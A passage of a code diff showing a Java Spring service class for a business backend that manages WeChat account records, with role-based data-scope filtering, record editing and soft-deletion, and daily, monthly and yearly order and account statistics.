pageQuery) { - if(bo.getUid() != null){ - LoginUser loginUser = LoginHelper.getLoginUser(); - if(!LoginHelper.isSuperAdmin()){ - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限查看客户信息"); - } else if (loginUser.getIdentity() == 3) { - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - bo.setDeptIds(deptIds); - }else if(scope == 3){ - List deptIds = new ArrayList<>(); - deptIds.add(loginUser.getDeptId()); - bo.setDeptIds(deptIds); - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - bo.setDeptIds(deptIds); - }else if(scope == 5){ - bo.setUid(loginUser.getUserId()); - } - }else if(loginUser.getIdentity() == 1){ - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - bo.setDeptIds(deptIds); - }else if(scope == 3){ - List deptIds = new ArrayList<>(); - deptIds.add(loginUser.getDeptId()); - bo.setDeptIds(deptIds); - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - bo.setDeptIds(deptIds); - }else if(scope == 5){ - bo.setUid(loginUser.getUserId()); - } - if(bo.getUid() == 2){ - bo.setUid(null); - } - } - } - } - bo.setIsDel(1); - if(ObjectUtil.isNotNull(bo.getCreateDept())){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, bo.getCreateDept())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(bo.getCreateDept()); - bo.setDeptIds(deptIds); - } - IPage result = baseMapper.selectVoPageList(new Page(pageQuery.getPageNum(), pageQuery.getPageSize()),bo); - return TableDataInfo.build(result); - } - - public int getDataScope() { - LoginUser loginUser = LoginHelper.getLoginUser(); - List ids = loginUser != null ? - loginUser.getRoles().stream().filter(Objects::nonNull).map(role -> role.getDataScope()).filter(Objects::nonNull).collect(Collectors.toList()) : - Collections.emptyList(); - - if (ids.contains("1")) { - return 1; - } else if (ids.contains("2")) { - return 2; - } else if (ids.contains("3")) { - return 3; - } else if (ids.contains("4")) { - return 4; - } else if (ids.contains("5")) { - return 5; - } - return 0; - } - - public List getDeptIds(){ - LoginUser loginUser = LoginHelper.getLoginUser(); - List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); - List getDeptIds = roleDeptMapper.selectList(new LambdaQueryWrapper().in(SysRoleDept::getRoleId, roleIds)).stream().map(SysRoleDept::getDeptId).collect(Collectors.toList()); - return getDeptIds.stream().distinct().collect(Collectors.toList()); - } - - /** - * 导出基础信息列表 - * @param bo 查询条件 - * @return 基本信息列表 - */ - @Override - public List queryList(TpWechatBo bo) { - if(bo.getUid() != null){ - LoginUser loginUser = LoginHelper.getLoginUser(); - if(!LoginHelper.isSuperAdmin()){ - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限查看客户信息"); - } else if (loginUser.getIdentity() == 3) { - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - bo.setDeptIds(deptIds); - }else if(scope == 3){ - List deptIds = new ArrayList<>(); - deptIds.add(loginUser.getDeptId()); - bo.setDeptIds(deptIds); - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - bo.setDeptIds(deptIds); - }else if(scope == 5){ - bo.setUid(loginUser.getUserId()); - } - }else if(loginUser.getIdentity() == 1){ - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - bo.setDeptIds(deptIds); - }else if(scope == 3){ - List deptIds = new ArrayList<>(); - deptIds.add(loginUser.getDeptId()); - bo.setDeptIds(deptIds); - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - bo.setDeptIds(deptIds); - }else if(scope == 5){ - bo.setUid(loginUser.getUserId()); - } - if(bo.getUid() == 2){ - bo.setUid(null); - } - } - } - } - bo.setIsDel(1); - if(ObjectUtil.isNotNull(bo.getCreateDept())){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, bo.getCreateDept())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(bo.getCreateDept()); - bo.setDeptIds(deptIds); - } - return baseMapper.selectVoListExport(bo); - } - - private LambdaQueryWrapper buildQueryWrapper(TpWechatBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - - LoginUser loginUser = LoginHelper.getLoginUser(); - if(!LoginHelper.isSuperAdmin()){ - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限查看客户信息"); - } else if (loginUser.getIdentity() == 3 || loginUser.getIdentity() == 1) { - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if (userIds != null && userIds.size() > 0){ - lqw.in(TpWechat::getUid, userIds); - } - }else if(scope == 3){ - List deptIds = new ArrayList<>(); - deptIds.add(loginUser.getDeptId()); - List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if (userIds != null && userIds.size() > 0){ - lqw.in(TpWechat::getUid, userIds); - } - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if (userIds != null && userIds.size() > 0){ - lqw.in(TpWechat::getUid, userIds); - } - }else if(scope == 5){ - bo.setUid(loginUser.getUserId()); - lqw.eq(bo.getUid() != null, TpWechat::getUid, bo.getUid()); - } - } - } - - if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ - List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if (userIds != null && userIds.size() > 0){ - lqw.in(TpWechat::getUid, userIds); - } - } - - lqw.like(StringUtils.isNotBlank(bo.getCode()), TpWechat::getCode, bo.getCode()); - lqw.like(StringUtils.isNotBlank(bo.getNikename()), TpWechat::getNikename, bo.getNikename()); -// lqw.eq(bo.getUid() != null, TpWechat::getUid, bo.getUid()); - lqw.like(StringUtils.isNotBlank(bo.getUser()), TpWechat::getUser, bo.getUser()); - lqw.eq(StringUtils.isNotBlank(bo.getPhone()), TpWechat::getPhone, bo.getPhone()); - lqw.eq(bo.getUserTime() != null, TpWechat::getUserTime, bo.getUserTime()); - lqw.like(StringUtils.isNotBlank(bo.getName()), TpWechat::getName, bo.getName()); - lqw.like(StringUtils.isNotBlank(bo.getCardId()), TpWechat::getCardId, bo.getCardId()); - lqw.like(StringUtils.isNotBlank(bo.getBank()), TpWechat::getBank, bo.getBank()); - lqw.like(StringUtils.isNotBlank(bo.getNumber()), TpWechat::getNumber, bo.getNumber()); - lqw.eq(bo.getNum() != null, TpWechat::getNum, bo.getNum()); - lqw.eq(bo.getAllnum() != null, TpWechat::getAllnum, bo.getAllnum()); - lqw.eq(bo.getNowTime() != null, TpWechat::getNowTime, bo.getNowTime()); - lqw.eq(bo.getAddUser() != null, TpWechat::getAddUser, bo.getAddUser()); - lqw.like(StringUtils.isNotBlank(bo.getAddname()), TpWechat::getAddname, bo.getAddname()); - lqw.eq(bo.getIsDel() != null, TpWechat::getIsDel, bo.getIsDel()); - lqw.eq(bo.getAddTime() != null, TpWechat::getAddTime, bo.getAddTime()); - lqw.eq(bo.getNowPrice() != null, TpWechat::getNowPrice, bo.getNowPrice()); - return lqw; - } - - private QueryWrapper queryWrapper(TpWechatBo bo) { - QueryWrapper lqw = new QueryWrapper<>(); - LoginUser loginUser = LoginHelper.getLoginUser(); - if(!LoginHelper.isSuperAdmin()){ - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限查看客户信息"); - } else if (loginUser.getIdentity() == 3 || loginUser.getIdentity() == 1) { - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if (userIds != null && userIds.size() > 0){ - String idsStr = userIds.stream().map(f -> f.toString()).collect(Collectors.joining(",")); - lqw.inSql("uid", idsStr); - } - }else if(scope == 3){ - List deptIds = new ArrayList<>(); - deptIds.add(loginUser.getDeptId()); - List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if (userIds != null && userIds.size() > 0){ - String idsStr = userIds.stream().map(f -> f.toString()).collect(Collectors.joining(",")); - lqw.inSql("uid", idsStr); - } - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if (userIds != null && userIds.size() > 0){ - String idsStr = userIds.stream().map(f -> f.toString()).collect(Collectors.joining(",")); - lqw.inSql("uid", idsStr); - } - }else if(scope == 5){ - bo.setUid(loginUser.getUserId()); - lqw.eq(bo.getUid() != null, "uid", bo.getUid()); - } - } - } - - if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ - List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if (userIds != null && userIds.size() > 0){ - String idsStr = userIds.stream().map(f -> f.toString()).collect(Collectors.joining(",")); - lqw.inSql("uid", idsStr); - } - } - - lqw.like(StringUtils.isNotBlank(bo.getCode()), "code", bo.getCode()); - lqw.like(StringUtils.isNotBlank(bo.getNikename()), "nikename", bo.getNikename()); - lqw.like(StringUtils.isNotBlank(bo.getUser()), "user", bo.getUser()); -// lqw.eq(bo.getUid() != null, "uid", bo.getUid()); - lqw.eq(StringUtils.isNotBlank(bo.getPhone()), "phone", bo.getPhone()); - lqw.eq(bo.getUserTime() != null, "user_time", bo.getUserTime()); - lqw.like(StringUtils.isNotBlank(bo.getName()), "name", bo.getName()); - lqw.eq(bo.getNowTime() != null, "now_time", bo.getNowTime()); - lqw.eq(bo.getAddUser() != null, "add_user", bo.getAddUser()); - lqw.like(StringUtils.isNotBlank(bo.getCardId()), "card_id", bo.getCardId()); - lqw.like(StringUtils.isNotBlank(bo.getNumber()), "number", bo.getNumber()); - lqw.eq(bo.getIsDel() != null, "is_del", bo.getIsDel()); - lqw.eq(bo.getAddTime() != null, "add_time", bo.getAddTime()); - return lqw; - } - - /** - * 新增基本信息 - * - * @param bo 基本信息 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpWechatBo bo) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper().eq(TpWechat::getCode, bo.getCode())); - if(exist){ - throw new ServiceException("唯一编号已存在,请修改后提交"); - } - LoginUser loginUser = LoginHelper.getLoginUser(); - if(loginUser.getIdentity() == 3){ - bo.setUid(loginUser.getUserId()); - bo.setUser(loginUser.getNickname()); - } - - bo.setAddUser(loginUser.getUserId()); - bo.setAddname(loginUser.getRealName()); - bo.setAllnum(bo.getNum()); - bo.setAddTime(new Date()); - bo.setNowTime(new Date()); - TpWechat add = MapstructUtils.convert(bo, TpWechat.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改基本信息 - * - * @param bo 基本信息 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpWechatBo bo) { - TpWechatVo wechatVo = baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TpWechat::getCode,bo.getCode()).eq(TpWechat::getIsDel, 1)); - if (ObjectUtil.isNotEmpty(wechatVo) && !Objects.equals(bo.getId(), wechatVo.getId())) { - throw new ServiceException("唯一编号已存在,请修改后提交"); - } - TpWechat update = MapstructUtils.convert(bo, TpWechat.class); - - if(bo.getNum() != null && bo.getNum() != 0){ - bo.setAllnum(bo.getNum()); - } - return baseMapper.updateById(update) > 0; - } - - - /** - * 校验并批量删除基本信息信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - List list = baseMapper.selectByIds(ids); - list.stream().forEach(f ->f.setIsDel(2)); - return baseMapper.updateBatchById(list); - } - - @Override - public boolean updateUserByBo(TpWechatBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - - if(bo.getUid() != null){ - TpWechatVo wechatVo = baseMapper.selectVoById(bo.getId()); - TpWechatUser tpWechatUser = new TpWechatUser(); - tpWechatUser.setWid(wechatVo.getId()); - tpWechatUser.setUid(wechatVo.getUid()); - tpWechatUser.setUser(wechatVo.getUser()); - tpWechatUser.setNowPrice(wechatVo.getNowPrice()); - tpWechatUser.setNowTime(wechatVo.getNowTime()); - tpWechatUser.setEndTime(new Date()); - tpWechatUser.setAddTime(new Date()); - tpWechatUser.setAddUser(loginUser.getUserId()); - tpWechatUser.setAddname(loginUser.getRealName()); - wechatUserMapper.insert(tpWechatUser); - - SysUserVo sysUserVo = userMapper.selectVoById(bo.getUid()); - bo.setUid(sysUserVo.getUserId()); - bo.setUser(sysUserVo.getNickName()); - bo.setAddUser(loginUser.getUserId()); - bo.setAddname(loginUser.getRealName()); - bo.setNowTime(new Date()); - bo.setNowPrice(new BigDecimal(0)); - } - - TpWechat update = MapstructUtils.convert(bo, TpWechat.class); - return baseMapper.updateById(update) > 0; - } - - @Override - public WechatSumVo queryListSum(TpWechatBo bo) { - bo.setIsDel(1); - WechatSumVo wechatSumVo = new WechatSumVo(); - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - wechatSumVo.setWxSum(baseMapper.selectCount(lqw)); - - QueryWrapper wrapper = queryWrapper(bo); - //wrapper.select("sum(deal_num) as dealNum","sum(total_sum) as totalSum","sum(deal_order_num) as dealOrderNum","sum(allnum) as allnum"); - wrapper.select("id, `code`, nikename, uid, `user`, phone, user_time, `name`, num, allnum"); - List wechatVoList = baseMapper.selectVoList(wrapper); - wechatSumVo.setZhySum(wechatVoList.stream().mapToLong(f ->f.getAllnum()).sum()); - - List ids = wechatVoList.stream().map(f -> f.getId()).toList(); - - if(ids.size() > 0){ - List list = orderMapper.selectList(new LambdaQueryWrapper().in(TpOrder::getWid, ids)); - wechatSumVo.setCjdsSum(list.stream().count()); - wechatSumVo.setCjzjeSum(list.stream().map(f -> f.getPrice()).reduce(BigDecimal.ZERO, BigDecimal::add)); - - /*QueryWrapper lqwo = new QueryWrapper<>(); - lqwo.select("COUNT(DISTINCT kid) as count"); - String idsStr = ids.stream().map(f -> f.toString()).collect(Collectors.joining(",")); - lqwo.inSql("wid", idsStr); - Map result = orderMapper.selectMaps(lqwo).get(0); - Long cjkhSum = (Long) result.get("count"); - wechatSumVo.setCjkhSum(cjkhSum);*/ - - QueryWrapper lqwo = new QueryWrapper<>(); - lqwo.select("COUNT(DISTINCT kid) as count"); - lqwo.in("wid", ids); - Map result = orderMapper.selectMaps(lqwo).get(0); - Long cjkhSum = (Long) result.get("count"); - wechatSumVo.setCjkhSum(cjkhSum); - } - - /*LambdaQueryWrapper lqw1 = new LambdaQueryWrapper<>(); - lqw1.inSql(bo.getUid() != null,TpWechatNum::getWid,"SELECT id FROM tp_wechat as w WHERE w.is_del = 1 and w.uid = "+bo.getUid()); - lqw1.geSql(TpWechatNum::getAddTime,"CONCAT( YEAR ( CURDATE()), '-01-01' )"); - Long yearNum = wechatNumMapper.selectList(lqw1).stream().mapToLong(TpWechatNum::getNum).sum();*/ - - LambdaQueryWrapper lqw1 = new LambdaQueryWrapper<>(); - lqw1.in(TpWechatNum::getWid,ids); - lqw1.geSql(TpWechatNum::getAddTime,"CONCAT( YEAR ( CURRENT_DATE ()), '-01-01' )"); - Long yearNum = wechatNumMapper.selectList(lqw1).stream().mapToLong(TpWechatNum::getNum).sum(); - - /*LambdaQueryWrapper lqw2 = new LambdaQueryWrapper<>(); - lqw2.inSql(bo.getUid() != null,TpWechatNum::getWid,"SELECT id FROM tp_wechat as w WHERE w.is_del = 1 and w.uid = "+bo.getUid()); - lqw2.geSql(TpWechatNum::getAddTime,"CONCAT( YEAR ( CURRENT_DATE ()), '-', MONTH ( CURRENT_DATE ()), '-01' )"); - Long monthNum = wechatNumMapper.selectList(lqw2).stream().mapToLong(TpWechatNum::getNum).sum();*/ - - LambdaQueryWrapper lqw2 = new LambdaQueryWrapper<>(); - lqw2.in(TpWechatNum::getWid,ids); - lqw2.geSql(TpWechatNum::getAddTime,"CONCAT( YEAR ( CURRENT_DATE ()), '-', MONTH ( CURRENT_DATE ()), '-01' )"); - Long monthNum = wechatNumMapper.selectList(lqw2).stream().mapToLong(TpWechatNum::getNum).sum(); - - - /*LambdaQueryWrapper lqw3 = new LambdaQueryWrapper<>(); - lqw3.inSql(bo.getUid() != null,TpWechatNum::getWid,"SELECT id FROM tp_wechat as w WHERE w.is_del = 1 and w.uid = "+bo.getUid()); - lqw3.geSql(TpWechatNum::getAddTime,"( CURDATE() - INTERVAL 1 DAY )"); - Long dayNum = wechatNumMapper.selectList(lqw3).stream().mapToLong(TpWechatNum::getNum).sum();*/ - - LambdaQueryWrapper lqw3 = new LambdaQueryWrapper<>(); - lqw3.in(TpWechatNum::getWid,ids); - lqw3.geSql(TpWechatNum::getAddTime,"( CURDATE() - INTERVAL 1 DAY )"); - Long dayNum = wechatNumMapper.selectList(lqw3).stream().mapToLong(TpWechatNum::getNum).sum(); - - wechatSumVo.setBnxzSum(yearNum); - wechatSumVo.setByxzSum(monthNum); - wechatSumVo.setZrxzSum(dayNum); - // 检查 wechatVo 是否为 null - /*if (wechatVo != null) { - wechatSumVo.setCjkhSum(wechatVo.getDealNum()); - wechatSumVo.setCjdsSum(wechatVo.getDealOrderNum()); - wechatSumVo.setCjzjeSum(wechatVo.getTotalSum()); - wechatSumVo.setZhySum(wechatVo.getAllnum()); - } else { - // 如果 wechatVo 为 null,则设置默认值或抛出异常 - wechatSumVo.setCjkhSum(0L); - wechatSumVo.setCjdsSum(0L); - wechatSumVo.setCjzjeSum(new BigDecimal(0)); - wechatSumVo.setZhySum(0L); - }*/ - return wechatSumVo; - } - - /** - * 微信日统计 - * - * @param bo - * @param wxIds - * @return - */ - @Override - public List wxDayList(OrderRankingBo bo, List wxIds) { - return baseMapper.wxDayList(bo, wxIds); - } - - /** - * 微信月统计 - * - * @param bo - * @param wxIds - * @return - */ - @Override - public List wxMonthList(OrderRankingBo bo, List wxIds) { - return baseMapper.wxMonthList(bo, wxIds); - } - - /** - * @param userIds - * @return - */ - @Override - public List queryListByIds(List userIds) { - return baseMapper.selectVoList(new LambdaQueryWrapper().in(TpWechat::getUid, userIds).eq(TpWechat::getIsDel, 1)); - } -} +package org.dromara.work.service.impl; + +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.dto.RoleDTO; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysDept; +import org.dromara.system.domain.SysRoleDept; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.mapper.SysDeptMapper; +import org.dromara.system.mapper.SysRoleDeptMapper; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.domain.TpWechat; +import org.dromara.work.domain.TpWechatNum; +import org.dromara.work.domain.TpWechatUser; +import org.dromara.work.domain.bo.OrderRankingBo; +import org.dromara.work.domain.bo.TpWechatBo; +import org.dromara.work.domain.vo.TpWechatVo; +import org.dromara.work.domain.vo.WechatSumVo; +import org.dromara.work.domain.vo.WxNumDayListVo; +import org.dromara.work.mapper.TpOrderMapper; +import org.dromara.work.mapper.TpWechatMapper; +import org.dromara.work.mapper.TpWechatNumMapper; +import org.dromara.work.mapper.TpWechatUserMapper; +import org.dromara.work.service.ITpWechatService; +import org.springframework.stereotype.Service; + +import java.math.BigDecimal; +import java.util.*; +import java.util.stream.Collectors; + +/** + * 基本信息Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpWechatServiceImpl implements ITpWechatService { + + private final TpWechatMapper baseMapper; + + private final SysUserMapper userMapper; + + private final TpWechatUserMapper wechatUserMapper; + + private final TpWechatNumMapper wechatNumMapper; + + private final SysDeptMapper deptMapper; + + private final SysRoleDeptMapper roleDeptMapper; + + private final TpOrderMapper orderMapper; + + + /** + * 查询基本信息 + * + * @param id 主键 + * @return 基本信息 + */ + @Override + public TpWechatVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询基本信息列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 基本信息分页列表 + */ + @Override + public TableDataInfo queryPageList(TpWechatBo bo, PageQuery pageQuery) { + if(bo.getUid() != null){ + LoginUser loginUser = LoginHelper.getLoginUser(); + if(!LoginHelper.isSuperAdmin()){ + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限查看客户信息"); + } else if (loginUser.getIdentity() == 3) { + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + bo.setDeptIds(deptIds); + }else if(scope == 3){ + List deptIds = new ArrayList<>(); + deptIds.add(loginUser.getDeptId()); + bo.setDeptIds(deptIds); + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + bo.setDeptIds(deptIds); + }else if(scope == 5){ + bo.setUid(loginUser.getUserId()); + } + }else if(loginUser.getIdentity() == 1){ + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + bo.setDeptIds(deptIds); + }else if(scope == 3){ + List deptIds = new ArrayList<>(); + deptIds.add(loginUser.getDeptId()); + bo.setDeptIds(deptIds); + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + bo.setDeptIds(deptIds); + }else if(scope == 5){ + bo.setUid(loginUser.getUserId()); + } + if(bo.getUid() == 2){ + bo.setUid(null); + } + } + } + } + bo.setIsDel(1); + if(ObjectUtil.isNotNull(bo.getCreateDept())){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, bo.getCreateDept())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(bo.getCreateDept()); + bo.setDeptIds(deptIds); + } + IPage result = baseMapper.selectVoPageList(new Page(pageQuery.getPageNum(), pageQuery.getPageSize()),bo); + return TableDataInfo.build(result); + } + + public int getDataScope() { + LoginUser loginUser = LoginHelper.getLoginUser(); + List ids = loginUser != null ? + loginUser.getRoles().stream().filter(Objects::nonNull).map(role -> role.getDataScope()).filter(Objects::nonNull).collect(Collectors.toList()) : + Collections.emptyList(); + + if (ids.contains("1")) { + return 1; + } else if (ids.contains("2")) { + return 2; + } else if (ids.contains("3")) { + return 3; + } else if (ids.contains("4")) { + return 4; + } else if (ids.contains("5")) { + return 5; + } + return 0; + } + + public List getDeptIds(){ + LoginUser loginUser = LoginHelper.getLoginUser(); + List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); + List getDeptIds = roleDeptMapper.selectList(new LambdaQueryWrapper().in(SysRoleDept::getRoleId, roleIds)).stream().map(SysRoleDept::getDeptId).collect(Collectors.toList()); + return getDeptIds.stream().distinct().collect(Collectors.toList()); + } + + /** + * 导出基础信息列表 + * @param bo 查询条件 + * @return 基本信息列表 + */ + @Override + public List queryList(TpWechatBo bo) { + if(bo.getUid() != null){ + LoginUser loginUser = LoginHelper.getLoginUser(); + if(!LoginHelper.isSuperAdmin()){ + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限查看客户信息"); + } else if (loginUser.getIdentity() == 3) { + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + bo.setDeptIds(deptIds); + }else if(scope == 3){ + List deptIds = new ArrayList<>(); + deptIds.add(loginUser.getDeptId()); + bo.setDeptIds(deptIds); + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + bo.setDeptIds(deptIds); + }else if(scope == 5){ + bo.setUid(loginUser.getUserId()); + } + }else if(loginUser.getIdentity() == 1){ + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + bo.setDeptIds(deptIds); + }else if(scope == 3){ + List deptIds = new ArrayList<>(); + deptIds.add(loginUser.getDeptId()); + bo.setDeptIds(deptIds); + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + bo.setDeptIds(deptIds); + }else if(scope == 5){ + bo.setUid(loginUser.getUserId()); + } + if(bo.getUid() == 2){ + bo.setUid(null); + } + } + } + } + bo.setIsDel(1); + if(ObjectUtil.isNotNull(bo.getCreateDept())){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, bo.getCreateDept())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(bo.getCreateDept()); + bo.setDeptIds(deptIds); + } + return baseMapper.selectVoListExport(bo); + } + + private LambdaQueryWrapper buildQueryWrapper(TpWechatBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + + LoginUser loginUser = LoginHelper.getLoginUser(); + if(!LoginHelper.isSuperAdmin()){ + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限查看客户信息"); + } else if (loginUser.getIdentity() == 3 || loginUser.getIdentity() == 1) { + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if (userIds != null && userIds.size() > 0){ + lqw.in(TpWechat::getUid, userIds); + } + }else if(scope == 3){ + List deptIds = new ArrayList<>(); + deptIds.add(loginUser.getDeptId()); + List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if (userIds != null && userIds.size() > 0){ + lqw.in(TpWechat::getUid, userIds); + } + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if (userIds != null && userIds.size() > 0){ + lqw.in(TpWechat::getUid, userIds); + } + }else if(scope == 5){ + bo.setUid(loginUser.getUserId()); + lqw.eq(bo.getUid() != null, TpWechat::getUid, bo.getUid()); + } + } + } + + if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ + List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if (userIds != null && userIds.size() > 0){ + lqw.in(TpWechat::getUid, userIds); + } + } + + lqw.like(StringUtils.isNotBlank(bo.getCode()), TpWechat::getCode, bo.getCode()); + lqw.like(StringUtils.isNotBlank(bo.getNikename()), TpWechat::getNikename, bo.getNikename()); +// lqw.eq(bo.getUid() != null, 